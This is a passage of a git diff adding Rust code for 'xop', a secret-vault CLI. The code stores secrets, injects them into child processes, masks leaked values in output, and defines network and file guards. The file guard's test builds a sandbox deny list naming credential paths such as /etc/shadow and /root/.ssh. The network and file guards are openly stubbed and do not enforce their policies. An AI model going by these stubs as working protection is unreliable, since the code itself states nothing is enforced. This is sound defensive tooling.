init; +pub mod set; +pub mod list; +pub mod get; +pub mod rm; +pub mod reset; +pub mod key; \ No newline at end of file diff --git a/src/commands/reset.rs b/src/commands/reset.rs new file mode 100644 index 0000000..5752630 --- /dev/null +++ b/src/commands/reset.rs @@ -0,0 +1,37 @@ +//! `xop reset --yes` — DESTROY the local vault. + +use crate::error::{Result, XopError}; +use crate::vault; + +pub async fn run(yes: bool) -> Result { + if !yes { + return Err(XopError::Usage( + "xop reset is destructive; pass --yes to confirm".into(), + )); + } + + let path = vault::default_path(); + if path.exists() { + std::fs::remove_file(&path).map_err(|e| { + XopError::Usage(format!("failed to delete {}: {e}", path.display())) + })?; + println!("deleted: {}", path.display()); + } else { + println!("no vault at {}", path.display()); + } + + let audit_path = crate::args::dirs_xop_home().join("audit.jsonl"); + if audit_path.exists() { + std::fs::remove_file(&audit_path).ok(); + println!("deleted: {}", audit_path.display()); + } + + // Cascade: drop the unlock keyring too, so reset removes every local + // trace of how to decrypt (key.db, audit, keyring). + if crate::vault::keyring::remove() { + println!("deleted: {}", crate::vault::keyring::path().display()); + } + + println!("run `xop init` to create a fresh vault."); + Ok(0) +} \ No newline at end of file diff --git a/src/commands/rm.rs b/src/commands/rm.rs new file mode 100644 index 0000000..e9c1f97 --- /dev/null +++ b/src/commands/rm.rs @@ -0,0 +1,41 @@ +//! `xop rm KEY` — delete a key. + +use crate::audit::AuditLog; +use crate::error::{Result, XopError}; +use crate::vault; + +pub async fn run(key: &str, force: bool) -> Result { + let path = vault::default_path(); + let mut vault = vault::Vault::open(&path).await?; + + if !vault.get(key).is_some() { + return Err(XopError::KeyNotFound(key.to_string())); + } + + if !force { + // TTY-only confirmation (CI bypass via XOP_RM_FORCE=1) + if std::io::IsTerminal::is_terminal(&std::io::stdin()) { + eprint!("Permanently delete {key}? [y/N] "); + let mut buf = String::new(); + std::io::stdin().read_line(&mut buf).map_err(|e| { + XopError::StdinReadFailed(e.to_string()) + })?; + if !matches!(buf.trim().to_ascii_lowercase().as_str(), "y" | "yes") { + return Err(XopError::Usage("aborted".into())); + } + } else if std::env::var_os("XOP_RM_FORCE").is_none() { + return Err(XopError::Usage( + "`xop rm` requires confirmation; pass --force or set XOP_RM_FORCE=1".into(), + )); + } + } + + vault.rm(key); + vault.save().await?; + + let mut audit = AuditLog::new(crate::args::dirs_xop_home().join("audit.jsonl"))?; + audit.vault_rm(key)?; + + println!("deleted: {key}"); + Ok(0) +} \ No newline at end of file diff --git a/src/commands/set.rs b/src/commands/set.rs new file mode 100644 index 0000000..8eb2264 --- /dev/null +++ b/src/commands/set.rs @@ -0,0 +1,78 @@ +//! `xop set KEY` — store a secret with hidden terminal input. +//! +//! On a real TTY the value is read through `rpassword` with a partial mask +//! (first 2 characters echoed, rest shown as `*`) so shoulder-surfing can't +//! read the full secret while typing still gives visual feedback. On a +//! non-TTY (pipe / agent / expect) stdin is read directly — nothing is +//! echoed by us; terminal echo doesn't apply when there's no terminal. + +use crate::audit::AuditLog; +use crate::error::{Result, XopError}; +use crate::vault; + +pub async fn run(key: &str, force: bool) -> Result { + if !crate::secret::is_valid_env_var_name(key) { + return Err(XopError::InvalidKeyName(key.to_string())); + } + + // Open vault FIRST (auth + passphrase via /dev/tty). + let path = vault::default_path(); + let mut vault = vault::Vault::open(&path).await?; + + // Read the secret value from the terminal with partial masking. We + // deliberately do NOT encourage `echo SECRET | xop set KEY` — the echo + // form leaves the value in shell history. Interactive masked input is + // the safe pattern for high-value secrets. + let value = read_value_masked(&format!("Value for {key}: "))?; + if value.is_empty() { + return Err(XopError::Usage( + "refusing to store empty secret".into(), + )); + } + + let existed = vault.set(key, &value); + if existed && !force { + return Err(XopError::KeyAlreadyExists(key.to_string())); + } + + vault.save().await?; + + // Audit + let mut audit = AuditLog::new(crate::args::dirs_xop_home().join("audit.jsonl"))?; + audit.vault_set(key)?; + + println!("stored: {key}"); + Ok(0) +} + +/// Read a secret value with visual feedback but no plaintext echo. +/// +/// - Real TTY: `rpassword` partial mask — the first 2 characters echo in +/// plaintext, the rest show as `*`. Typing stays verifiable (you can see +/// your password isn't empty/garbage at the start) while a shoulder-surfer +/// or a screen recording can't read the whole value. +/// - Non-TTY (pipe / agent / expect): plain stdin line read. There is no +/// terminal to echo to, and the caller already exposed the value by +/// piping it, so masking is moot — this keeps automation working. +fn read_value_masked(prompt: &str) -> Result { + use std::io::{IsTerminal, Write}; + if std::io::stdin().is_terminal() { + eprint!("{prompt}"); + std::io::stderr().flush().ok(); + use rpassword::ConfigBuilder; + let cfg = ConfigBuilder::new() + .input_file_path("/dev/tty") + .output_file_path("/dev/tty") + .password_feedback_partial_mask('*', 2) + .build(); + return rpassword::read_password_with_config(cfg) + .map_err(|e| XopError::StdinReadFailed(e.to_string())); + } + eprint!("{prompt}"); + std::io::stderr().flush().ok(); + let mut value = String::new(); + std::io::stdin() + .read_line(&mut value) + .map_err(|e| XopError::StdinReadFailed(e.to_string()))?; + Ok(value.trim_end_matches('\n').trim_end_matches('\r').to_string()) +} \ No newline at end of file diff --git a/src/error.rs b/src/error.rs new file mode 100644 index 0000000..cc4ce77 --- /dev/null +++ b/src/error.rs @@ -0,0 +1,127 @@ +//! Typed error surface. +//! +//! All xop errors carry an exit code that maps to BSD sysexits where +//! applicable. This is the single source of truth for the user-facing +//! `xop: ...` message and exit status. + +use thiserror::Error; + +pub type Result = std::result::Result; + +impl From for XopError { + fn from(e: std::io::Error) -> Self { + // Audit-open path; also reused for filesystem failures on the vault file + // since both share std::io::Error semantics. Specific callers override + // with `map_err` when they need a more precise variant. + XopError::AuditOpen("".into(), e.to_string()) + } +} + +impl From for XopError { + fn from(e: serde_json::Error) -> Self { + XopError::AuditOpen("".into(), e.to_string()) + } +} + +impl From for XopError { + fn from(e: toml::de::Error) -> Self { + XopError::VaultCorrupt(format!("toml decode: {e}")) + } +} + +impl From for XopError { + fn from(e: toml::ser::Error) -> Self { + XopError::VaultCorrupt(format!("toml encode: {e}")) + } +} + +#[derive(Debug, Error)] +pub enum XopError { + // ─── Usage / parse ───────────────────────────────────────────────────── + #[error("usage: {0}")] + Usage(String), + #[error("invalid ref {0:?}: {1}")] + RefParse(String, String), + #[error("secrets file {0}: {1}")] + SecretsFileRead(String, String), + #[error("secrets file {0} line {1}: {2}")] + SecretsFileParse(String, usize, String), + + // ─── Auth (v0.2) ─────────────────────────────────────────────────────── + #[error("authentication cancelled by user")] + AuthCancelled, + #[error("touch-id: {0}")] + TouchId(String), + #[error("pam: {0}")] + Pam(String), + #[error("vault passphrase required")] + PassphraseRequired, + #[error("vault passphrase read failed: {0}")] + PassphraseRead(String), + #[error("keyring: {0}")] + Keyring(String), + + // ─── Vault (v0.2) ────────────────────────────────────────────────────── + #[error("vault not initialized — run `xop init` first")] + VaultNotInitialized, + #[error("vault locked or passphrase mismatch")] + VaultLocked, + #[error("vault corrupt: {0}")] + VaultCorrupt(String), + #[error("key not found: {0:?}")] + KeyNotFound(String), + #[error("key already exists: {0:?} (use --force to replace)")] + KeyAlreadyExists(String), + #[error("invalid key name {0:?} (must match [A-Za-z_][A-Za-z0-9_]*)")] + InvalidKeyName(String), + #[error("stdin read failed: {0}")] + StdinReadFailed(String), + + // ─── Resolution (legacy — kept for back-compat during migration) ────── + #[error("backend not found for ref {0:?} (tried: {1:?})")] + BackendNotFound(String, Vec), + #[error("backend {0} failed on ref {1:?}: {2}")] + BackendFailed(String, String, String), + + // ─── I/O ─────────────────────────────────────────────────────────────── + #[error("audit log open {0}: {1}")] + AuditOpen(String, String), + + // ─── Security ────────────────────────────────────────────────────────── + #[error("refused: leak pattern detected in argv ({0})")] + LeakPatternRefused(String), + #[error("security: secret leak detected ({0}); child killed")] + LeakDetected(String), + + // ─── Implementation status ───────────────────────────────────────────── + #[error("not yet implemented: {0}")] + Unimplemented(String), +} + +impl XopError { + /// BSD sysexits-style exit code. + pub fn exit_code(&self) -> i32 { + match self { + XopError::Usage(_) | XopError::RefParse(_, _) => 64, // EX_USAGE + XopError::SecretsFileRead(_, _) | XopError::SecretsFileParse(_, _, _) => 78, // EX_CONFIG + XopError::BackendNotFound(_, _) | XopError::BackendFailed(_, _, _) => 69, // EX_UNAVAILABLE + XopError::AuditOpen(_, _) => 73, // EX_CANTCREAT + XopError::LeakPatternRefused(_) | XopError::LeakDetected(_) => 79, // EX_SECURITY (custom) + // v0.2 vault/auth mapping + XopError::AuthCancelled + | XopError::TouchId(_) + | XopError::Pam(_) + | XopError::PassphraseRequired + | XopError::PassphraseRead(_) + | XopError::Keyring(_) + | XopError::VaultLocked + | XopError::KeyNotFound(_) => 77, // EX_NOPERM + XopError::VaultNotInitialized + | XopError::VaultCorrupt(_) + | XopError::KeyAlreadyExists(_) + | XopError::InvalidKeyName(_) + | XopError::StdinReadFailed(_) => 78, // EX_CONFIG + XopError::Unimplemented(_) => 1, + } + } +} \ No newline at end of file diff --git a/src/guard/file.rs b/src/guard/file.rs new file mode 100644 index 0000000..5a7d52e --- /dev/null +++ b/src/guard/file.rs @@ -0,0 +1,100 @@ +//! File access policy guard. +//! +//! Implements OS-level file-read restrictions for the child process. +//! +//! - **macOS**: `sandbox-exec -p ` with a Scheme profile that +//! `(deny file-read* (subpath "/etc/shadow"))` etc. +//! +//! - **Linux**: `landlock` ABI (kernel ≥ 5.13) for fine-grained FS ACL on +//! the child only, no root required. Wrap child in +//! `prctl(PR_SET_NO_NEW_PRIVS, 0)` + `landlock_create_ruleset` + +//! `landlock_add_rule` + `landlock_restrict_self` before execve. +//! +//! ## v0.1 status: STUB +//! +//! File policy is parsed and the default deny-list is built, but the +//! enforcement layer (sandbox-exec profile / landlock ruleset) is not yet +//! applied. The deny list is available via `Policy::from_args` and can be +//! inspected at dry-run time. + +use super::Guard; +use crate::error::{Result, XopError}; +use crate::policy::{Policy, ReadPolicy}; + +pub struct FileGuard { + pol: ReadPolicy, +} + +impl FileGuard { + pub fn new(pol: &ReadPolicy) -> Self { + Self { pol: pol.clone() } + } +} + +#[async_trait::async_trait] +impl Guard for FileGuard { + fn name(&self) -> &'static str { + "file" + } + + async fn setup(&self, _policy: &Policy) -> Result<()> { + // TODO(next-session): implement per OS. See module docs. + // + // Pseudocode for macOS: + // let profile = build_sandbox_profile(&self.pol); + // Command::new("sandbox-exec").arg("-p").arg(&profile).arg(...) + // + // Pseudocode for Linux (landlock): + // Before execve: + // prctl(PR_SET_NO_NEW_PRIVS, 1)?; + // let ruleset_fd = landlock_create_ruleset(...)?; + // landlock_add_rule(ruleset_fd, &allowed_path_rule)?; + // landlock_restrict_self(ruleset_fd)?; + // + // For v0.1 skeleton, log intent and proceed. + tracing::warn!( + deny = ?self.pol.deny, + "FileGuard.setup() is STUBBED — policy parsed but not enforced" + ); + Ok(()) + } + + async fn teardown(&self) -> Result<()> { + Ok(()) + } +} + +#[allow(dead_code)] +fn build_sandbox_profile(pol: &ReadPolicy) -> String { + // Scheme (Apple sandbox profile) snippet. + let mut p = String::from("(version 1)\n(deny default)\n(allow process-exec)\n(allow sysctl-read)\n(allow file-read* (subpath \"/\"))\n"); + for d in &pol.deny { + p.push_str(&format!("(deny file-read* (subpath \"{d}\"))\n")); + } + p +} + +#[allow(dead_code)] +fn _ensure_error_in_scope(_: XopError) {} + +#[cfg(test)] +mod tests { + use super::*; + use crate::policy::ReadPolicy; + + #[tokio::test] + async fn setup_is_stub_no_panic() { + let g = FileGuard::new(&ReadPolicy::default()); + g.setup(&Policy::default()).await.unwrap(); + g.teardown().await.unwrap(); + } + + #[test] + fn sandbox_profile_blocks_denied_paths() { + let mut pol = ReadPolicy::default(); + pol.deny = vec!["/etc/shadow".into(), "/root/.ssh".into()]; + let profile = build_sandbox_profile(&pol); + assert!(profile.contains("(deny file-read* (subpath \"/etc/shadow\"))")); + assert!(profile.contains("(deny file-read* (subpath \"/root/.ssh\"))")); + } +} diff --git a/src/guard/mod.rs b/src/guard/mod.rs new file mode 100644 index 0000000..c2aa446 --- /dev/null +++ b/src/guard/mod.rs @@ -0,0 +1,26 @@ +//! Runtime guards for the child process. +//! +//! Guards run *around* the child. Each one is responsible for a single +//! security boundary (stdout pipe filter, network policy, file policy). +//! +//! Pattern: `setup()` is called before spawn, `teardown()` after the child +//! exits. Guards are independent — each one fails closed on its own. + +pub mod file; +pub mod network; +pub mod stdout; + +use crate::error::Result; +use crate::policy::Policy; + +/// A guard wraps a security boundary. One impl per concern. +#[async_trait::async_trait] +pub trait Guard: Send + Sync { + fn name(&self) -> &'static str; + + /// Called once, after policy is built, before child spawn. + async fn setup(&self, policy: &Policy) -> Result<()>; + + /// Called once, after child exits, to clean up resources (pf rules, etc.). + async fn teardown(&self) -> Result<()>; +} diff --git a/src/guard/network.rs b/src/guard/network.rs new file mode 100644 index 0000000..3014495 --- /dev/null +++ b/src/guard/network.rs @@ -0,0 +1,119 @@ +//! Network policy guard. +//! +//! Implements OS-level outbound network policy for the child process: +//! +//! - **macOS**: `pf` (packet filter) anchor + per-PID rules via +//! `socket_filter` / `pfctl`. Recommended approach: +//! 1. On setup: `pfctl -a xop/ -f ` with deny-by-default + allowlist. +//! 2. On teardown: `pfctl -a xop/ -F all`. +//! 3. pf is process-agnostic, so rules apply globally for the duration. +//! To scope, use UID-based filtering (run child as separate UID via +//! `pfctl -m` + uid_owner match) or run child in `sandbox-exec` with +//! network restrictions and let this layer be belt-and-suspenders. +//! +//! - **Linux**: `iptables -m owner --uid-owner ` in the OUTPUT chain, +//! drop-by-default + allowlist accept rules. Requires CAP_NET_ADMIN; for +//! unprivileged users fall back to user namespaces + `nftables`. +//! +//! - **Fallback (any Unix)**: spawn child with `http_proxy=http://127.0.0.1:0` +//! to break HTTP/HTTPS by default. Doesn't cover raw TCP/UDP but is +//! often enough for credential-exfil use case. +//! +//! ## v0.1 status: STUB +//! +//! Network policy is parsed and logged but not enforced. The orchestrator +//! calls `setup()` which currently returns Ok. Implementing this is the +//! single biggest piece of remaining work for v1. + +use super::Guard; +use crate::error::{Result, XopError}; +use crate::policy::{NetPolicy, Policy}; + +pub struct NetworkGuard { + pol: NetPolicy, + #[allow(dead_code)] // Reserved for pf/iptables anchor name (P2 OS-level impl) + anchor: Option, +} + +impl NetworkGuard { + pub fn new(pol: &NetPolicy) -> Self { + // Anchor name keyed to PID at setup() time. + Self { + pol: pol.clone(), + anchor: None, + } + } +} + +#[async_trait::async_trait] +impl Guard for NetworkGuard { + fn name(&self) -> &'static str { + "network" + } + + async fn setup(&self, _policy: &Policy) -> Result<()> { + // TODO(next-session): implement per OS. See module docs. + // + // Pseudocode for macOS: + // let pid = std::process::id(); + // let anchor = format!("xop/{}", pid); + // let rules = build_pf_rules(&self.pol); + // Command::new("pfctl").args(["-a", &anchor, "-f", "-"]) + // .stdin(Stdio::piped()).spawn()?.stdin.unwrap().write_all(rules.as_bytes())?; + // + // Pseudocode for Linux: + // Command::new("iptables").args(["-A", "OUTPUT", "-m", "owner", + // "--uid-owner", &uid.to_string(), "-j", "DROP"]).status()?; + // for host in &self.pol.allow { ...ACCEPT... } + // + // For v0.1 skeleton, log intent and proceed. + tracing::warn!( + allow = ?self.pol.allow, + deny = ?self.pol.deny, + "NetworkGuard.setup() is STUBBED — policy parsed but not enforced" + ); + Ok(()) + } + + async fn teardown(&self) -> Result<()> { + // TODO(next-session): remove pf anchor / iptables rules. + Ok(()) + } +} + +#[allow(dead_code)] +fn build_pf_rules(pol: &NetPolicy) -> String { + // Placeholder. Real impl in HANDOFF.md phase 3. + let mut rules = String::new(); + rules.push_str("table persist\n"); + rules.push_str("block out quick\n"); + for h in &pol.allow { + rules.push_str(&format!("pass out quick to {h}\n")); + } + rules +} + +#[allow(dead_code)] +fn _ensure_error_in_scope(_: XopError) {} + +#[cfg(test)] +mod tests { + use super::*; + use crate::policy::NetPolicy; + + #[tokio::test] + async fn setup_is_stub_no_panic() { + let g = NetworkGuard::new(&NetPolicy::default()); + g.setup(&Policy::default()).await.unwrap(); + g.teardown().await.unwrap(); + } + + #[test] + fn pf_rules_block_by_default() { + let mut pol = NetPolicy::default(); + pol.allow = vec!["db.local:5432".into()]; + let rules = build_pf_rules(&pol); + assert!(rules.contains("block out quick")); + assert!(rules.contains("pass out quick to db.local:5432")); + } +} diff --git a/src/guard/stdout.rs b/src/guard/stdout.rs new file mode 100644 index 0000000..0c1eb6e --- /dev/null +++ b/src/guard/stdout.rs @@ -0,0 +1,370 @@ +//! Stdout/stderr pipe filter. +//! +//! Reads bytes from the child's stdout/stderr pipes, scans each **line** for +//! resolved vault secret values, and replaces any leak with a partial mask: +//! first 2 characters + `****` + a visible warning, e.g. +//! `123456` → `12****【xop禁止将密钥泄漏】`. The leading 2 chars keep the +//! user able to recognise *which* secret leaked without exposing the value. +//! +//! Implementation: +//! 1. Child runs with stdout/stderr piped (never inherited raw). +//! 2. One reader task per pipe. Output is line-buffered: a chunk is appended +//! to a carry buffer and only complete lines (up to the last `\n`) are +//! scanned and flushed. This guarantees a secret split across two +//! 4096-byte reads is never missed. At EOF the final partial line is +//! scanned too. +//! 3. `--on-leak=kill` / `refuse`: the first replacement sends SIGKILL to the +//! child; `refuse` additionally makes xop exit with EX_SECVIOLATION (79) +//! when the child itself exited 0. +//! 4. Every leak emits an audit `leak_event` (key name + action only — never +//! the value; invariant I2). + +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::sync::{Arc, Mutex}; + +use crate::args::LeakAction; +use crate::error::{Result, XopError}; +use crate::secret::ResolvedValue; +use secrecy::ExposeSecret; + +/// BSD sysexits: security violation. +const EX_SECVIOLATION: i32 = 79; + +/// Shared counter of replacements made across both reader tasks. +type LeakCount = Arc; +/// Keys whose values leaked (names only, never values). +type LeakedKeys = Arc>>; + +pub struct StdoutGuard { + /// (key, value-as-bytes) literal matchers, one per resolved value. + patterns: Vec<(String, Vec)>, + action: LeakAction, +} + +impl Clone for StdoutGuard { + fn clone(&self) -> Self { + Self { + patterns: self.patterns.clone(), + action: self.action.clone(), + } + } +} + +/// Build the user-facing masked replacement for a leaked value. +/// `123456` → `12****【xop禁止将密钥泄漏】`; values shorter than 2 chars are +/// fully hidden (there's nothing recognisable to show). +pub fn masked_replacement(value: &str) -> String { + let head: String = value.chars().take(2).collect(); + if head.chars().count() < 2 { + "****【xop禁止将密钥泄漏】".to_string() + } else { + format!("{head}****【xop禁止将密钥泄漏】") + } +} + +impl StdoutGuard { + pub fn new(resolved: &[ResolvedValue], action: LeakAction) -> Self { + let patterns = resolved + .iter() + .map(|r| { + let v = r.value.expose_secret().clone().into_bytes(); + (r.key.clone(), v) + }) + .collect(); + Self { patterns, action } + } + + /// Filter one chunk of bytes. Returns (filtered_bytes, replacements_made). + pub fn filter(&self, chunk: &[u8]) -> (Vec, usize) { + let mut out = chunk.to_vec(); + let mut count = 0; + + for needle in self.patterns.iter().map(|(_, v)| v) { + if needle.is_empty() { + continue; + } + let replacement = match std::str::from_utf8(needle) { + Ok(s) => masked_replacement(s).into_bytes(), + // non-utf8 secret (shouldn't happen: vault stores String) — + // fall back to a full block-out + Err(_) => "****【xop禁止将密钥泄漏】".as_bytes().to_vec(), + }; + let mut start = 0; + while let Some(pos) = find_subslice(&out[start..], needle) { + let abs_pos = start + pos; + let end_pos = abs_pos + needle.len(); + out.splice(abs_pos..end_pos, replacement.clone()); + start = abs_pos + replacement.len(); + count += 1; + } + } + + (out, count) + } + + /// Which keys' values appear in `data` (for audit; deduplicated). + pub fn leaked_keys_in(&self, data: &[u8]) -> Vec { + self.patterns + .iter() + .filter(|(_, needle)| !needle.is_empty() && find_subslice(data, needle).is_some()) + .map(|(key, _)| key.clone()) + .collect() + } + + /// Decide what to do given the filter outcome. + pub fn action(&self) -> &LeakAction { + &self.action + } +} + +/// Naive substring search (avoids pulling in `memchr` for v0.1 skeleton). +fn find_subslice(haystack: &[u8], needle: &[u8]) -> Option { + if needle.is_empty() || needle.len() > haystack.len() { + return None; + } + haystack + .windows(needle.len()) + .position(|w| w == needle) +} + +fn kill_child(pid: u32) { + use nix::sys::signal::{kill, Signal}; + use nix::unistd::Pid; + let _ = kill(Pid::from_raw(pid as i32), Signal::SIGKILL); +} + +/// Pump one pipe (stdout or stderr) through the guard until EOF. +/// +/// Line-buffered: only complete lines (through the last `\n`) are filtered +/// and written; a trailing partial line stays in the carry buffer so a secret +/// split across two reads is still caught. At EOF the remainder is flushed. +async fn pump( + mut reader: R, + mut dst: W, + guard: StdoutGuard, + leaks: LeakCount, + keys: LeakedKeys, + kill_pid: Option, +) where + R: tokio::io::AsyncRead + Unpin, + W: tokio::io::AsyncWrite + Unpin, +{ + use tokio::io::{AsyncReadExt, AsyncWriteExt}; + + let mut buf: Vec = Vec::new(); + let mut tmp = vec![0u8; 4096]; + loop { + match reader.read(&mut tmp).await { + Ok(0) => break, + Ok(n) => { + buf.extend_from_slice(&tmp[..n]); + let cut = buf + .iter() + .rposition(|b| *b == b'\n') + .map(|i| i + 1) + .unwrap_or(0); + if cut == 0 { + continue; // no complete line yet — keep carrying + } + let leaked = guard.leaked_keys_in(&buf[..cut]); + let (filtered, cnt) = guard.filter(&buf[..cut]); + buf.drain(..cut); + if cnt > 0 { + leaks.fetch_add(cnt, Ordering::Relaxed); + if let Ok(mut v) = keys.lock() { + // match on the ORIGINAL line bytes — after filtering + // the values are already replaced and can't be found + for k in leaked { + if !v.contains(&k) { + v.push(k); + } + } + } + if let Some(pid) = kill_pid { + kill_child(pid); + } + } + if dst.write_all(&filtered).await.is_err() { + break; + } + let _ = dst.flush().await; + } + Err(_) => break, + } + } + // EOF: flush any remaining partial line through the filter too. + if !buf.is_empty() { + let (filtered, cnt) = guard.filter(&buf); + if cnt > 0 { + leaks.fetch_add(cnt, Ordering::Relaxed); + if let Some(pid) = kill_pid { + kill_child(pid); + } + } + let _ = dst.write_all(&filtered).await; + let _ = dst.flush().await; + } +} + +/// Pipe the child's stdout/stderr through the guard. Returns the child's exit +/// code (or `EX_SECVIOLATION` (79) for `--on-leak=refuse` when the child +/// itself exited 0 but a leak was masked). +pub async fn pipe_filter_loop( + child: &mut tokio::process::Child, + guard: &StdoutGuard, + audit: &mut crate::audit::AuditLog, +) -> Result { + let stdout = child.stdout.take(); + let stderr = child.stderr.take(); + + let action = guard.action().clone(); + let fatal = matches!(action, LeakAction::Kill | LeakAction::Refuse); + // Only SIGKILL the child when the policy asks for it. + let kill_pid = if fatal { child.id() } else { None }; + + let leaks: LeakCount = Arc::new(AtomicUsize::new(0)); + let keys: LeakedKeys = Arc::new(Mutex::new(Vec::new())); + + let mut tasks = Vec::new(); + if let Some(out) = stdout { + tasks.push(tokio::spawn(pump( + out, + tokio::io::stdout(), + guard.clone(), + leaks.clone(), + keys.clone(), + kill_pid, + ))); + } + if let Some(err) = stderr { + tasks.push(tokio::spawn(pump( + err, + tokio::io::stderr(), + guard.clone(), + leaks.clone(), + keys.clone(), + kill_pid, + ))); + } + + let status = child + .wait() + .await + .map_err(|e| XopError::Usage(format!("child wait failed: {e}")))?; + for t in tasks { + let _ = t.await; + } + + let leak_total = leaks.load(Ordering::Relaxed); + if leak_total > 0 { + let names: Vec = keys.lock().map(|v| v.clone()).unwrap_or_default(); + let action_name = match action { + LeakAction::Mask => "mask", + LeakAction::Kill => "kill", + LeakAction::Refuse => "refuse", + }; + for k in &names { + audit.leak_event(k, action_name, leak_total)?; + } + } + + let mut code = status.code().unwrap_or(1); + if matches!(action, LeakAction::Refuse) && leak_total > 0 && code == 0 { + code = EX_SECVIOLATION; + } + Ok(code) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::secret::ResolvedValue; + use secrecy::SecretBox; + + fn mk(key: &str, value: &str) -> ResolvedValue { + ResolvedValue { + key: key.into(), + name: key.into(), + backend: "test".into(), + value: SecretBox::new(Box::new(value.to_string())), + argv_placeholder: false, + } + } + + #[test] + fn masked_format_partial() { + assert_eq!(masked_replacement("123456"), "12****【xop禁止将密钥泄漏】"); + assert_eq!(masked_replacement("rong"), "ro****【xop禁止将密钥泄漏】"); + } + + #[test] + fn masked_format_short_fully_hidden() { + assert_eq!(masked_replacement("a"), "****【xop禁止将密钥泄漏】"); + assert_eq!(masked_replacement(""), "****【xop禁止将密钥泄漏】"); + } + + #[test] + fn masks_secret_in_chunk() { + let g = StdoutGuard::new(&[mk("DB", "s3cr3t")], LeakAction::Mask); + let (out, n) = g.filter(b"connecting with s3cr3t now\n"); + assert_eq!(n, 1); + let s = String::from_utf8(out).unwrap(); + assert!(!s.contains("s3cr3t")); + assert!(s.contains("s3****【xop禁止将密钥泄漏】")); + } + + #[test] + fn multiple_occurrences() { + let g = StdoutGuard::new(&[mk("K", "abcd")], LeakAction::Mask); + let (out, n) = g.filter(b"abcd abcd abcd"); + assert_eq!(n, 3); + let s = String::from_utf8(out).unwrap(); + assert!(!s.contains("abcd")); + assert_eq!(s.matches("ab****【xop禁止将密钥泄漏】").count(), 3); + } + + #[test] + fn no_match_passthrough() { + let g = StdoutGuard::new(&[mk("K", "x")], LeakAction::Mask); + let (out, n) = g.filter(b"hello world"); + assert_eq!(n, 0); + assert_eq!(&out, b"hello world"); + } + + #[test] + fn empty_secret_safe() { + let g = StdoutGuard::new(&[mk("K", "")], LeakAction::Mask); + let (out, n) = g.filter(b"anything"); + assert_eq!(n, 0); + assert_eq!(&out, b"anything"); + } + + #[test] + fn leaked_keys_in_identifies_names_not_values() { + let g = StdoutGuard::new( + &[mk("DB_PASS", "hunter2"), mk("API_KEY", "sk-live-9")], + LeakAction::Mask, + ); + let hits = g.leaked_keys_in(b"using hunter2 today"); + assert_eq!(hits, vec!["DB_PASS".to_string()]); + } + + #[test] + fn secret_split_across_reads_caught_by_line_buffer() { + // simulate: line "pass=123456\n" arriving as two reads split mid-secret + let g = StdoutGuard::new(&[mk("K", "123456")], LeakAction::Mask); + let mut buf = Vec::new(); + // first chunk — no newline yet → nothing may be flushed early + buf.extend_from_slice(b"pass=1234"); + let cut = buf.iter().rposition(|b| *b == b'\n').map(|i| i + 1).unwrap_or(0); + assert_eq!(cut, 0, "partial line must not be flushed early"); + // second chunk completes the line → whole line filtered together + buf.extend_from_slice(b"56\n"); + let cut = buf.iter().rposition(|b| *b == b'\n').map(|i| i + 1).unwrap(); + let (filtered, cnt) = g.filter(&buf[..cut]); + assert_eq!(cnt, 1); + let s = String::from_utf8(filtered).unwrap(); + assert!(!s.contains("123456")); + assert!(s.contains("12****【xop禁止将密钥泄漏】")); + } +} diff --git a/src/injector.rs b/src/injector.rs new file mode 100644 index 0000000..cfbf215 --- /dev/null +++ b/src/injector.rs @@ -0,0 +1,199 @@ +//! Secret injection strategies. +//! +//! Picks the right strategy per secret (envp / askpass / fd), hardens the +//! child's environment (HISTFILE=/dev/null, RLIMIT_CORE=0, etc.), and scrubs +//! the child's argv so values never appear there. + +use crate::error::{Result, XopError}; +use crate::secret::ResolvedValue; + +/// Injection strategy per secret. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum InjectStrategy { + /// Set as env var. Tool reads it natively (MYSQL_PWD, PGASSWORD, etc.). + Envp, + /// Write askpass script to a temp file, set SSH_ASKPASS / SSH_ASKPASS_REQUIRE. + Askpass, + /// Pass via fd 3 (for tools that only read password from stdin or fd). + Fd, +} + +#[derive(Debug, Clone)] +pub struct InjectPlan { + pub key: String, + pub strategy: InjectStrategy, +} + +/// Pick a strategy for each resolved secret. +/// +/// Heuristic for v0.1: +/// - Key starts with `SSH_` and child program looks like ssh/scp/rsync → Askpass +/// - Key is `MYSQL_PWD` / `PGPASSWORD` / `REDIS_PASSWORD` etc. → Envp (default) +/// - Otherwise → Envp +/// +/// Future: explicit `--inject=strategy` flag to override. +pub fn plan(resolved: &[ResolvedValue], argv: &[String]) -> Result> { + let mut out = Vec::with_capacity(resolved.len()); + let program = argv.first().map(|s| s.as_str()).unwrap_or(""); + for r in resolved { + let strategy = if r.key.starts_with("SSH_") && is_ssh_like(program) { + InjectStrategy::Askpass + } else { + InjectStrategy::Envp + }; + out.push(InjectPlan { + key: r.key.clone(), + strategy, + }); + } + Ok(out) +} + +fn is_ssh_like(program: &str) -> bool { + let base = std::path::Path::new(program) + .file_name() + .and_then(|s| s.to_str()) + .unwrap_or(program); + matches!(base, "ssh" | "scp" | "sftp" | "rsync") +} + +/// Build the envp delta (KEY=VALUE pairs) to add on top of parent env. +/// +/// For `Envp` strategy: emit `(r.key, r.value)` directly. +/// For `Askpass`/`Fd` strategy: emit a placeholder entry that `spawn_child` +/// recognizes and handles (TODO P1: see HANDOFF.md phase 1 §Askpass). +/// +/// Refs marked `argv_placeholder` are skipped here — they're consumed by +/// `scrub_argv` instead of being injected as env vars. +pub fn build_envp_delta( + plan: &[InjectPlan], + resolved: &[ResolvedValue], +) -> Result> { + let mut out = Vec::with_capacity(plan.len()); + for p in plan { + // Argv-placeholder refs are consumed by scrub_argv, not env injection. + if let Some(r) = resolved.iter().find(|r| r.key == p.key) { + if r.argv_placeholder { + continue; + } + } + match p.strategy { + InjectStrategy::Envp => { + if let Some(r) = resolved.iter().find(|r| r.key == p.key) { + use secrecy::ExposeSecret; + out.push((p.key.clone(), r.value.expose_secret().clone())); + } else { + return Err(XopError::Usage(format!( + "internal: plan references key {:?} but no resolved value", + p.key + ))); + } + } + InjectStrategy::Askpass => { + // TODO P1: write askpass script + set SSH_ASKPASS / SSH_ASKPASS_REQUIRE. + // For v0.1, fall back to Envp so ssh works (less secure — the value + // may appear in /proc//environ). + if let Some(r) = resolved.iter().find(|r| r.key == p.key) { + use secrecy::ExposeSecret; + out.push((p.key.clone(), r.value.expose_secret().clone())); + } + } + InjectStrategy::Fd => { + // TODO P1: dup2 the value to fd 3 and set a magic env var the child reads. + } + } + } + Ok(out) +} + +/// Add hardening entries to the child's envp: +/// - 